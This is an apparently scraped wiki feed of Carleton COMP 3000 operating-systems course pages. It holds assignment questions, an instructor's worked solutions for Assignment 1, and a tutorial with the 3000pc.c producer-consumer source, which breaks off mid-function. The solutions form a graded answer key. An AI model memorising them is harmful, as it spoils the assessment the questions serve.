Submit your answers as a single text file named &amp;quot;&amp;lt;username&amp;gt;-comp3000-assign2.txt&amp;quot; (where username is your MyCarletonOne username). The first four lines of this file should be &amp;quot;COMP 3000 Assignment 2&amp;quot;, your name, student number, and the date of submission. You may wish to format your answers in Markdown to improve their appearance.&lt;br /&gt;
&lt;br /&gt;
No other formats will be accepted. Submitting in another format will likely result in your assignment not being graded and you receiving no marks for this assignment. In particular do not submit an MS Word or OpenOffice file as your answers document!&lt;br /&gt;
&lt;br /&gt;
Don&#039;t forget to include what outside resources you used to complete each of your answers, including other students, man pages, and web resources. You do not need to list help from the instructor, TA, or information found in the textbook.&lt;br /&gt;
&lt;br /&gt;
==Questions==&lt;br /&gt;
&lt;br /&gt;
# [2] Assume you have a file A.  You type &amp;lt;tt&amp;gt;ln A B&amp;lt;/tt&amp;gt;  in order to create file B.  What is the relationship between the return of lstat() on A versus B?  Explain briefly.&lt;br /&gt;
# [2] Assume you have a file A.  You type &amp;lt;tt&amp;gt;ln -s A B&amp;lt;/tt&amp;gt;  in order to create file B.  What is the relationship between the return of lstat() on A versus B?  Explain briefly.&lt;br /&gt;
# [2] How could you modify 3000test.c so it can report on what a file&#039;s user ID and group ID are and the corresponding username and group name?  Specify the changes you make rather than writing all the code out.  (In other words, code a solution and explain the changes you made here.)&lt;br /&gt;
# [2] If you change line 68 of 3000test.c to be &amp;lt;tt&amp;gt;data[i] = &#039;A&#039;;&amp;lt;/tt&amp;gt;  (from &amp;lt;tt&amp;gt;count++;&amp;lt;/tt&amp;gt;), what will the program do?  Explain briefly.&lt;br /&gt;
# [2] What does setup_comm_fn() do in 3000shell?&lt;br /&gt;
# [2] How can you modify 3000pc so the consumer permanently stops consuming once it finds an empty queue?&lt;br /&gt;
# [2] What would happen to 3000pc if we replaced lines 341-347 with &amp;lt;tt&amp;gt;s = (shared *) malloc(sizeof(shared));&amp;lt;/tt&amp;gt;?  Why?&lt;br /&gt;
# [2] In 3000pc, what happens if you remove the calls to kill()?  What does this tell you about the roles of signals in this program?&lt;br /&gt;
# [2] Is it possible to predict the output of /dev/random?  Explain briefly.&lt;br /&gt;
# [2] Do sem_wait() and sem_post() generate system calls?  (Be sure to check!)  Why?&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Assignment_1&amp;diff=21781</id>
		<title>Operating Systems 2018F: Assignment 1</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Assignment_1&amp;diff=21781"/>
		<updated>2018-10-01T22:11:53Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Solutions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Please submit the answers to the following questions via CULearn by 2:30 PM on September 26, 2018. There are 20 points in 12 questions.&lt;br /&gt;
&lt;br /&gt;
Submit your answers as a single text file named &amp;quot;&amp;lt;username&amp;gt;-comp3000-assign1.txt&amp;quot; (where username is your MyCarletonOne username). The first four lines of this file should be &amp;quot;COMP 3000 Assignment 1&amp;quot;, your name, student number, and the date of submission. You may wish to format your answers in Markdown to improve their appearance.&lt;br /&gt;
&lt;br /&gt;
No other formats will be accepted. Submitting in another format will likely result in your assignment not being graded and you receiving no marks for this assignment. In particular do not submit an MS Word or OpenOffice file as your answers document!&lt;br /&gt;
&lt;br /&gt;
Don&#039;t forget to include what outside resources you used to complete each of your answers, including other students, man pages, and web resources. You do not need to list help from the instructor, TA, or information found in the textbook.&lt;br /&gt;
&lt;br /&gt;
==Questions==&lt;br /&gt;
# [1] What does it mean to run a program &amp;quot;in the background&amp;quot;?  Specifically, what is the key difference between running a program in the foreground and in the background?&lt;br /&gt;
# [1] Are system calls used to receive signals?  Explain briefly. (Hint: strace a program and send it a signal.  What happens?)&lt;br /&gt;
# [1] The system calls 3000shell uses to search for a program to run (in one of the PATH directories) are not the same as those used by standard shells such as bash.  What&#039;s the difference?&lt;br /&gt;
# [1] How could you change 3000shell so that it generates zombie processes?&lt;br /&gt;
# [2] How would the behaviour of 3000shell change if line 286 was removed? (&amp;lt;tt&amp;gt;pid = fork();&amp;lt;/tt&amp;gt;)  Why?&lt;br /&gt;
# [2] In 3000shell, when are lines 299 and 300 executed?  Why?&lt;br /&gt;
# [2] Does using &amp;lt;tt&amp;gt;getenv()&amp;lt;/tt&amp;gt; generate any additional library calls (as reported by ltrace)?  Does it generate any additional system calls (as reported by strace)?  Why?&lt;br /&gt;
# [2] Does parse_args() allocate any memory on the heap (i.e., any memory that stays allocated after the function returns)?  How do you know?  Give a brief argument.&lt;br /&gt;
# [2] &amp;lt;tt&amp;gt;execve&amp;lt;/tt&amp;gt; overwrites all of a process&#039;s memory with that of a new executable.  Does &amp;lt;tt&amp;gt;execve&amp;lt;/tt&amp;gt; also close all open file descriptors?  How do you know (from your experience with 3000shell)?&lt;br /&gt;
# [2] What happens to an in-progress system call when a process receives a signal?  (An example is a program waiting for input from a terminal with a blocking &amp;lt;tt&amp;gt;read&amp;lt;/tt&amp;gt; call.)  What does &amp;quot;restarting&amp;quot; a system call have to do with this?&lt;br /&gt;
# [2] If you changed plist() so it took proc_prefix as an argument (rather than accessing it as a global variable), what output would it produce when given an argument other than &amp;quot;/proc&amp;quot;?  Explain briefly.&lt;br /&gt;
# [2] Describe how you could add output redirection for external programs to 3000shell.&lt;br /&gt;
&lt;br /&gt;
==Solutions==&lt;br /&gt;
&lt;br /&gt;
# The difference between running a program in the foreground and the background is that when run in the foreground, the shell waits for the program to terminate (using wait or waitpid), while when running in the background the shell does not wait and immediately gives another prompt so the user can enter more programs to run (or commands for the shell to execute itself).&lt;br /&gt;
# System calls are not used to receive signals.  Instead, a process registers signal handlers with the kernel and the kernel calls these functions directly (by manipulating the process&#039;s instruction pointer and stack).&lt;br /&gt;
# 3000shell makes stat() calls to see if a file exists before doing an execve.  bash does similar stat()&#039;s, but it also checks the permissions on the file (using access) to see if it is executable before doing an execve.  (You can also say bash just does execve&#039;s directly rather than doing stats, but I did not see that behavior in later tests.)&lt;br /&gt;
# You can get 3000shell to generate zombie processes by removing the calls to sigaction that register a signal handler.  If 3000shell doesn&#039;t handle SIGCHLD (and thus never calls wait on background processes), it will create zombie processes that will only go away when 3000shell terminates.&lt;br /&gt;
# If you remove the call to fork, only one of the branches of the if statement will be executed.  Which branch is executed depends on the value of pid; since it was never initialized, its value is unspecified and thus could be anything.  This happens because without the call to fork we never create a child process and we never initialize the pid variable.  (1 point for one process, 1 for explaining the uninitialized variable)&lt;br /&gt;
# Lines 299 and 300 only execute if the execve call fails.  If it succeeds, the code of the process is replaced with the code of the specified program binary; thus, lines 299 and 300 no longer are loaded and thus cannot run.  In other words, execve only has a return value when it fails.&lt;br /&gt;
# getenv() is a dynamically-linked library function, thus it shows up when doing an ltrace.  This function makes no system calls (as getenv() is just a convenience function for accessing data in envp), thus strace reports no additional system calls generated by getenv().&lt;br /&gt;
# parse_args() does not allocate any memory on the heap as it does not call malloc() or any other function that allocates heap memory.  The only functions it calls are strsep() and strlen(), and their man pages make no mention of allocating memory on the heap.  (In fact, very few standard C library functions dynamically allocate memory on the heap, and when they do it is clearly documented as such allocation can be problematic in the context of many C programs.)&lt;br /&gt;
# execve does not close open file descriptors.  If it did, then it would not be possible to redirect file descriptors for standard in, standard out, and standard error (file descriptors 0, 1, and 2), as these are assumed to already be open when a program starts.&lt;br /&gt;
# When a process receives a signal, any currently executing system call is interrupted.  If the system call is set to be restarted, then the system call is resumed once the signal handler returns; otherwise, interrupted system calls return (after the signal handler has finished executing).  It is particularly important when the read system call is interrupted, as it can mean that data that would normally be read is not read (and an additional read system call must be executed to get the rest of the data).  In the case of 3000shell, an interrupted system call can cause a read to think that the &amp;quot;end of the file&amp;quot; has been reached (the terminal has been closed), thus causing it to terminate unless we tell the system to allow system calls to be restarted (line 243).&lt;br /&gt;
# If given an arbitrary directory other than /proc, it would list all the files that started with a number and would then attempt to treat each as a directory and would look inside it for a &amp;quot;comm&amp;quot; file in order to get the contents of the second column.  Since most directories have few files starting with a number, and few of those are directories with a &amp;quot;comm&amp;quot; file, plist() won&#039;t output much for most directories.&lt;br /&gt;
# To add output redirection to 3000shell, add the following code somewhere between 266 and 286 (so once it completes the execve completes as usual):&lt;br /&gt;
#* Add in code that looks for arguments starting with &amp;quot;&amp;gt;&amp;quot; followed by a filename (that may or may not be separated by a space from &amp;quot;&amp;gt;&amp;quot;).  Make sure to remove the &amp;quot;&amp;gt;&amp;quot; and the specified file from the argument list, and generate an error if no filename is specified.&lt;br /&gt;
#* Next, add in code that opens the specified file for writing.  Call the returned file descriptor fd.&lt;br /&gt;
#* Call dup2(fd, 1), to make standard out go to this file.&lt;br /&gt;
#* close(fd), because we don&#039;t want the specified file to be open on a random file descriptor.&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Tutorial_4&amp;diff=21780</id>
		<title>Operating Systems 2018F: Tutorial 4</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Tutorial_4&amp;diff=21780"/>
		<updated>2018-10-01T21:35:57Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Tasks/Questions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;In this tutorial you will be experimenting with and extending [http://homeostasis.scs.carleton.ca/~soma/os-2017f/code/tut4/3000pc.c 3000pc.c] and [http://homeostasis.scs.carleton.ca/~soma/os-2017f/code/tut4/3000random.c 3000random.c] (both listed below).&lt;br /&gt;
&lt;br /&gt;
==Key Concepts==&lt;br /&gt;
&lt;br /&gt;
3000pc is a simple implementation of the [https://en.wikipedia.org/wiki/Producer%E2%80%93consumer_problem producer-consumer problem] in which two processes coordinate their behavior.&lt;br /&gt;
&lt;br /&gt;
In producer-consumer, the two processes share a buffer.  One process &amp;quot;produces&amp;quot; - places things inside the buffer.  The other process &amp;quot;consumes&amp;quot; - takes things out of the buffer.  [https://en.wikipedia.org/wiki/Pipeline_%28Unix%29 UNIX pipes] are a classic implementation of producer-consumer.&lt;br /&gt;
&lt;br /&gt;
In 3000pc, the producer process (the parent process) adds random words to a shared buffer while the consumer (the child process) removes them and prints out the words that it has received.  Note that normally a parent and child process cannot communicate with shared memory; however, here they can because of how the buffer is allocated.  To prevent the contents of the buffer from being corrupted, &#039;&#039;locks&#039;&#039; are used to enforce &#039;&#039;mutual exclusion&#039;&#039;.  If there is nothing for the producer to do (no room in the buffer to add words), it goes to sleep; similarly, the consumer goes to sleep if there are no words for it to consume.  If either process goes to sleep, the other must wake it up.  &lt;br /&gt;
&lt;br /&gt;
3000pc uses the C standard&#039;s way for generating pseudo-random numbers.  This method is fast but not very good.  The Linux kernel, however, has a built-in high quality random number generator.  3000random.c is a demonstration for how to use it.&lt;br /&gt;
&lt;br /&gt;
You will notice that there are a number of concepts here that we have not yet discussed in class.  This is by design.  Play with the code and see what it does.  You should be able to understand most of it once you study it, as it just uses fork, mmap, and signals.  We will discuss the higher level concepts (synchronization, locking, producer-consumer) and lower level mechanisms (character devices, /dev/urandom, semaphores) in depth in lecture later this week.&lt;br /&gt;
&lt;br /&gt;
==Tasks/Questions==&lt;br /&gt;
&lt;br /&gt;
For &#039;&#039;&#039;Questions 3-8&#039;&#039;&#039; make sure you undo your changes before moving on to the next question.&lt;br /&gt;
&lt;br /&gt;
# Compile and run 3000pc.c.  Note that you&#039;ll need to add a &amp;quot;-pthread&amp;quot; option to your compile command.  First run it with a -1 for both delay intervals, then try other values.  When does the producer signal the consumer?  When does the consumer signal the producer?&lt;br /&gt;
# How can you output the random words to a file so that you only see the signal messages on the console?&lt;br /&gt;
# Modify the producer so that it never unlocks each entry (but does lock it).  What happens?&lt;br /&gt;
# Modify the consumer so that it never unlocks each entry (but does lock it).  What happens?&lt;br /&gt;
# What happens if you remove all entry locking/unlocking?  How does the behavior change?&lt;br /&gt;
# Remove the SIGUSR1 signal handler from the producer (so it uses the C library default signal handler).  How does the program behave?&lt;br /&gt;
# Remove the SIGUSR1 signal handler from the consumer (so it uses the C library default signal handler).  How does the program behave?&lt;br /&gt;
# Change the producer and consumer so they only sleep for 1000 nanoseconds (1 millisecond) rather than 1 second during each delay interval.  How does the behavior of the program change?&lt;br /&gt;
# Compile and run 3000random.c.  Note that it takes two arguments.  Where does this program get its random numbers from?&lt;br /&gt;
# Change 3000random.c to use /dev/random rather than /dev/urandom.  How does its performance change, especially when generating a large number of random numbers?&lt;br /&gt;
# Change 3000pc.c to use random numbers from /dev/urandom rather than using the standard library function random().  How does this change affect the relative speed of the producer and consumer processes?&lt;br /&gt;
# &#039;&#039;&#039;(Bonus)&#039;&#039;&#039; Modify 3000pc.c so it takes in an additional command line argument that is the filename of a word list.  This file should have one word per line.  The program should then use this read-in word list rather than the hard coded word list.  Pay attention to:&lt;br /&gt;
#* where you read the file (in the producer, consumer, or before the fork)&lt;br /&gt;
#* where and how you store the words in memory (the word list should be arbitrarily long, but the maximum length of a word can be fixed)&lt;br /&gt;
# &#039;&#039;&#039;(Bonus)&#039;&#039;&#039; Modify 3000pc.c so that it has multiple producers and consumers running concurrently, with the number of each specified on the command line.&lt;br /&gt;
&lt;br /&gt;
==Code==&lt;br /&gt;
&lt;br /&gt;
===3000pc.c===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot; line&amp;gt;&lt;br /&gt;
/* 3000pc.c */&lt;br /&gt;
/* producer-consumer example using signals, processes and mmap */&lt;br /&gt;
/* v1 Oct. 15, 2017 */&lt;br /&gt;
/* Licenced under the GPLv3, copyright Anil Somayaji */&lt;br /&gt;
/* You really shouldn&#039;t be incorporating parts of this in any other code,&lt;br /&gt;
   it is meant for teaching, not production */&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/wait.h&amp;gt;&lt;br /&gt;
#include &amp;lt;semaphore.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;time.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define QUEUESIZE 32&lt;br /&gt;
#define WORDSIZE 16&lt;br /&gt;
&lt;br /&gt;
const int wordlist_size = 27;&lt;br /&gt;
const char *wordlist[] = {&lt;br /&gt;
        &amp;quot;Alpha&amp;quot;,&lt;br /&gt;
        &amp;quot;Bravo&amp;quot;,&lt;br /&gt;
        &amp;quot;Charlie&amp;quot;,&lt;br /&gt;
        &amp;quot;Delta&amp;quot;,&lt;br /&gt;
        &amp;quot;Echo&amp;quot;,&lt;br /&gt;
        &amp;quot;Foxtrot&amp;quot;,&lt;br /&gt;
        &amp;quot;Golf&amp;quot;,&lt;br /&gt;
        &amp;quot;Hotel&amp;quot;,&lt;br /&gt;
        &amp;quot;India&amp;quot;,&lt;br /&gt;
        &amp;quot;Juliet&amp;quot;,&lt;br /&gt;
        &amp;quot;Kilo&amp;quot;,&lt;br /&gt;
        &amp;quot;Lima&amp;quot;,&lt;br /&gt;
        &amp;quot;Mike&amp;quot;,&lt;br /&gt;
        &amp;quot;November&amp;quot;,&lt;br /&gt;
        &amp;quot;Oscar&amp;quot;,&lt;br /&gt;
        &amp;quot;Papa&amp;quot;,&lt;br /&gt;
        &amp;quot;Quebec&amp;quot;,&lt;br /&gt;
        &amp;quot;Romeo&amp;quot;,&lt;br /&gt;
        &amp;quot;Sierra&amp;quot;,&lt;br /&gt;
        &amp;quot;Tango&amp;quot;,&lt;br /&gt;
        &amp;quot;Uniform&amp;quot;,&lt;br /&gt;
        &amp;quot;Victor&amp;quot;,&lt;br /&gt;
        &amp;quot;Whiskey&amp;quot;,&lt;br /&gt;
        &amp;quot;X-ray&amp;quot;,&lt;br /&gt;
        &amp;quot;Yankee&amp;quot;,&lt;br /&gt;
        &amp;quot;Zulu&amp;quot;,&lt;br /&gt;
        &amp;quot;Dash&amp;quot;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
typedef struct entry {&lt;br /&gt;
        char word[WORDSIZE];&lt;br /&gt;
        sem_t lock;&lt;br /&gt;
} entry;&lt;br /&gt;
&lt;br /&gt;
typedef struct shared {&lt;br /&gt;
        int prod_waiting;&lt;br /&gt;
        int con_waiting;&lt;br /&gt;
        entry queue[QUEUESIZE];&lt;br /&gt;
        int last_produced;&lt;br /&gt;
        int last_consumed;&lt;br /&gt;
        pid_t prod_pid;&lt;br /&gt;
        pid_t con_pid;&lt;br /&gt;
        int prod_count;&lt;br /&gt;
        int con_count;&lt;br /&gt;
} shared;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
void report_error(char *error)&lt;br /&gt;
{&lt;br /&gt;
        fprintf(stderr, &amp;quot;Error: %s\n&amp;quot;, error);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void usage_exit(char *progname)&lt;br /&gt;
{&lt;br /&gt;
        fprintf(stderr,&lt;br /&gt;
                &amp;quot;Usage: %s &amp;lt;event count&amp;gt; &amp;lt;prod delay int&amp;gt; &amp;lt;con delay int&amp;gt;\n&amp;quot;,&lt;br /&gt;
                progname);&lt;br /&gt;
        exit(-1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void producer_handler(int the_signal)&lt;br /&gt;
{&lt;br /&gt;
        if (the_signal == SIGUSR1) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Producer received SIGUSR1.\n&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
&lt;br /&gt;
        } else {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Producer: No handler for for signal %d?!\n&amp;quot;,&lt;br /&gt;
                        the_signal);&lt;br /&gt;
                return;&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void consumer_handler(int the_signal)&lt;br /&gt;
{&lt;br /&gt;
        if (the_signal == SIGUSR1) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Consumer received SIGUSR1.\n&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
        } else {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Consumer: No handler for for signal %d?!\n&amp;quot;,&lt;br /&gt;
                        the_signal);&lt;br /&gt;
                return;&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void pick_word(char *word)&lt;br /&gt;
{&lt;br /&gt;
        int pick;&lt;br /&gt;
&lt;br /&gt;
        pick = random() % wordlist_size;&lt;br /&gt;
&lt;br /&gt;
        strcpy(word, wordlist[pick]);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void wait_for_producer(shared *s)&lt;br /&gt;
{&lt;br /&gt;
        struct timespec delay;&lt;br /&gt;
        &lt;br /&gt;
        delay.tv_sec = 100;&lt;br /&gt;
        delay.tv_nsec = 0;&lt;br /&gt;
&lt;br /&gt;
        s-&amp;gt;con_waiting = 1;&lt;br /&gt;
        &lt;br /&gt;
        while (s-&amp;gt;con_waiting) {&lt;br /&gt;
                nanosleep(&amp;amp;delay, NULL);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void wait_for_consumer(shared *s)&lt;br /&gt;
{&lt;br /&gt;
        struct timespec delay;&lt;br /&gt;
        &lt;br /&gt;
        delay.tv_sec = 100;&lt;br /&gt;
        delay.tv_nsec = 0;&lt;br /&gt;
&lt;br /&gt;
        s-&amp;gt;prod_waiting = 1;&lt;br /&gt;
        &lt;br /&gt;
        while (s-&amp;gt;prod_waiting) {&lt;br /&gt;
                nanosleep(&amp;amp;delay, NULL);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void wakeup_consumer(shared *s)&lt;br /&gt;
{&lt;br /&gt;
        if (s-&amp;gt;con_waiting) {&lt;br /&gt;
                s-&amp;gt;con_waiting = 0;&lt;br /&gt;
                kill(s-&amp;gt;con_pid, SIGUSR1);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void wakeup_producer(shared *s)&lt;br /&gt;
{&lt;br /&gt;
        if (s-&amp;gt;prod_waiting) {&lt;br /&gt;
                s-&amp;gt;prod_waiting = 0;&lt;br /&gt;
                kill(s-&amp;gt;prod_pid, SIGUSR1);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void output_word(int c, char *w)&lt;br /&gt;
{&lt;br /&gt;
        printf(&amp;quot;Word %d: %s\n&amp;quot;, c, w);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int queue_word(char *word, shared *s)&lt;br /&gt;
{&lt;br /&gt;
        entry *e;&lt;br /&gt;
        int current, retval;&lt;br /&gt;
        &lt;br /&gt;
        current = (s-&amp;gt;last_produced + 1) % QUEUESIZE;&lt;br /&gt;
&lt;br /&gt;
        e = &amp;amp;s-&amp;gt;queue[current];&lt;br /&gt;
&lt;br /&gt;
        sem_wait(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
&lt;br /&gt;
        if (e-&amp;gt;word[0] != &#039;\0&#039;) {&lt;br /&gt;
                /* consumer hasn&#039;t consumed this entry yet */&lt;br /&gt;
                sem_post(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
                wait_for_consumer(s);&lt;br /&gt;
                sem_wait(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        if (e-&amp;gt;word[0] != &#039;\0&#039;) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;ERROR: No room for producer after waiting!\n&amp;quot;);&lt;br /&gt;
                retval = -1;&lt;br /&gt;
                goto done;&lt;br /&gt;
        } else {&lt;br /&gt;
                strncpy(e-&amp;gt;word, word, WORDSIZE);&lt;br /&gt;
                s-&amp;gt;last_produced = current;&lt;br /&gt;
                s-&amp;gt;prod_count++;&lt;br /&gt;
                wakeup_consumer(s);&lt;br /&gt;
                retval = 0;&lt;br /&gt;
                goto done;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
 done:&lt;br /&gt;
        sem_post(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
        return retval;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int get_next_word(char *word, shared *s)&lt;br /&gt;
{&lt;br /&gt;
        entry *e;&lt;br /&gt;
        int current, retval;&lt;br /&gt;
&lt;br /&gt;
        current = (s-&amp;gt;last_consumed + 1) % QUEUESIZE;&lt;br /&gt;
&lt;br /&gt;
        e = &amp;amp;s-&amp;gt;queue[current];&lt;br /&gt;
        &lt;br /&gt;
        sem_wait(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
&lt;br /&gt;
        if (e-&amp;gt;word[0] == &#039;\0&#039;) {&lt;br /&gt;
                /* producer hasn&#039;t filled in this entry yet */&lt;br /&gt;
                sem_post(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
                wait_for_producer(s);&lt;br /&gt;
                sem_wait(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        if (e-&amp;gt;word[0] == &#039;\0&#039;) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;ERROR: Nothing for consumer after waiting!\n&amp;quot;);&lt;br /&gt;
                retval = -1;&lt;br /&gt;
                goto done;&lt;br /&gt;
        } else {&lt;br /&gt;
                strncpy(word, e-&amp;gt;word, WORDSIZE);&lt;br /&gt;
                e-&amp;gt;word[0] = &#039;\0&#039;;&lt;br /&gt;
                s-&amp;gt;last_consumed = current;&lt;br /&gt;
                s-&amp;gt;con_count++;&lt;br /&gt;
                wakeup_producer(s);&lt;br /&gt;
                retval = 0;&lt;br /&gt;
                goto done;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
 done:&lt;br /&gt;
        sem_post(&amp;amp;e-&amp;gt;lock);&lt;br /&gt;
        return retval;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void producer(shared *s, int event_count, int producer_delay_interval)&lt;br /&gt;
{&lt;br /&gt;
        char word[WORDSIZE];&lt;br /&gt;
        int i;&lt;br /&gt;
        struct sigaction signal_handler_struct;&lt;br /&gt;
 &lt;br /&gt;
        memset (&amp;amp;signal_handler_struct, 0, sizeof(signal_handler_struct));&lt;br /&gt;
        signal_handler_struct.sa_handler = producer_handler;&lt;br /&gt;
&lt;br /&gt;
        if (sigaction(SIGUSR1, &amp;amp;signal_handler_struct, NULL)) {&lt;br /&gt;
            fprintf(stderr, &amp;quot;Producer couldn&#039;t register SIGUSR1 handler.\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        for (i=0; i &amp;lt; event_count; i++) {        &lt;br /&gt;
                pick_word(word);&lt;br /&gt;
                queue_word(word, s);&lt;br /&gt;
                if (producer_delay_interval &amp;gt; 0) {&lt;br /&gt;
                        if (i % producer_delay_interval == 0) {&lt;br /&gt;
                                sleep(1);&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        printf(&amp;quot;Producer finished.\n&amp;quot;);&lt;br /&gt;
        exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void consumer(shared *s, int event_count, int consumer_delay_interval)&lt;br /&gt;
{&lt;br /&gt;
        char word[WORDSIZE];&lt;br /&gt;
        int i;&lt;br /&gt;
        struct sigaction signal_handler_struct;&lt;br /&gt;
 &lt;br /&gt;
        memset (&amp;amp;signal_handler_struct, 0, sizeof(signal_handler_struct));&lt;br /&gt;
        signal_handler_struct.sa_handler = consumer_handler;&lt;br /&gt;
&lt;br /&gt;
        if (sigaction(SIGUSR1, &amp;amp;signal_handler_struct, NULL)) {&lt;br /&gt;
            fprintf(stderr, &amp;quot;Consumer couldn&#039;t register SIGUSR1 handler.\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        for (i=0; i &amp;lt; event_count; i++) {        &lt;br /&gt;
                get_next_word(word, s);&lt;br /&gt;
                output_word(s-&amp;gt;con_count, word);&lt;br /&gt;
                if (consumer_delay_interval &amp;gt; 0) {&lt;br /&gt;
                        if (i % consumer_delay_interval == 0) {&lt;br /&gt;
                                sleep(1);&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        printf(&amp;quot;Consumer finished.\n&amp;quot;);&lt;br /&gt;
        exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void init_shared(shared *s)&lt;br /&gt;
{&lt;br /&gt;
        int i;&lt;br /&gt;
        &lt;br /&gt;
        s-&amp;gt;con_waiting = 0;&lt;br /&gt;
        s-&amp;gt;last_consumed = -1;&lt;br /&gt;
&lt;br /&gt;
        s-&amp;gt;prod_waiting = 0;&lt;br /&gt;
        s-&amp;gt;last_produced = -1;&lt;br /&gt;
        &lt;br /&gt;
        s-&amp;gt;prod_pid = -1;&lt;br /&gt;
        s-&amp;gt;con_pid = -1;&lt;br /&gt;
&lt;br /&gt;
        s-&amp;gt;prod_count = 0;&lt;br /&gt;
        s-&amp;gt;con_count = 0;&lt;br /&gt;
                &lt;br /&gt;
        for (i=0; i&amp;lt;QUEUESIZE; i++) {&lt;br /&gt;
                s-&amp;gt;queue[i].word[0] = &#039;\0&#039;;&lt;br /&gt;
                /* semaphore is shared between processes,&lt;br /&gt;
                   and initial value is 1 (unlocked) */&lt;br /&gt;
                sem_init(&amp;amp;s-&amp;gt;queue[i].lock, 1, 1); &lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
        int pid, count, prod_interval, con_interval;&lt;br /&gt;
        &lt;br /&gt;
        shared *s;&lt;br /&gt;
&lt;br /&gt;
        srandom(42);&lt;br /&gt;
        &lt;br /&gt;
        if (argc &amp;lt; 4) {&lt;br /&gt;
                if (argc &amp;lt; 1) {&lt;br /&gt;
                        report_error(&amp;quot;no command line&amp;quot;);&lt;br /&gt;
                        usage_exit(argv[0]);&lt;br /&gt;
                } else {&lt;br /&gt;
                        report_error(&amp;quot;Not enough arguments&amp;quot;);&lt;br /&gt;
                        usage_exit(argv[0]);&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        count = atoi(argv[1]);&lt;br /&gt;
        prod_interval = atoi(argv[2]);&lt;br /&gt;
        con_interval = atoi(argv[3]);&lt;br /&gt;
&lt;br /&gt;
        s = (shared *) mmap(NULL, sizeof(shared),&lt;br /&gt;
                             PROT_READ|PROT_WRITE,&lt;br /&gt;
                             MAP_SHARED|MAP_ANONYMOUS, -1, 0);&lt;br /&gt;
        &lt;br /&gt;
        if (s == MAP_FAILED) {&lt;br /&gt;
                report_error(strerror(errno));&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        init_shared(s);&lt;br /&gt;
        &lt;br /&gt;
        pid = fork();&lt;br /&gt;
&lt;br /&gt;
        if (pid) {&lt;br /&gt;
                /* producer */&lt;br /&gt;
                s-&amp;gt;prod_pid = getpid();&lt;br /&gt;
                producer(s, count, prod_interval);&lt;br /&gt;
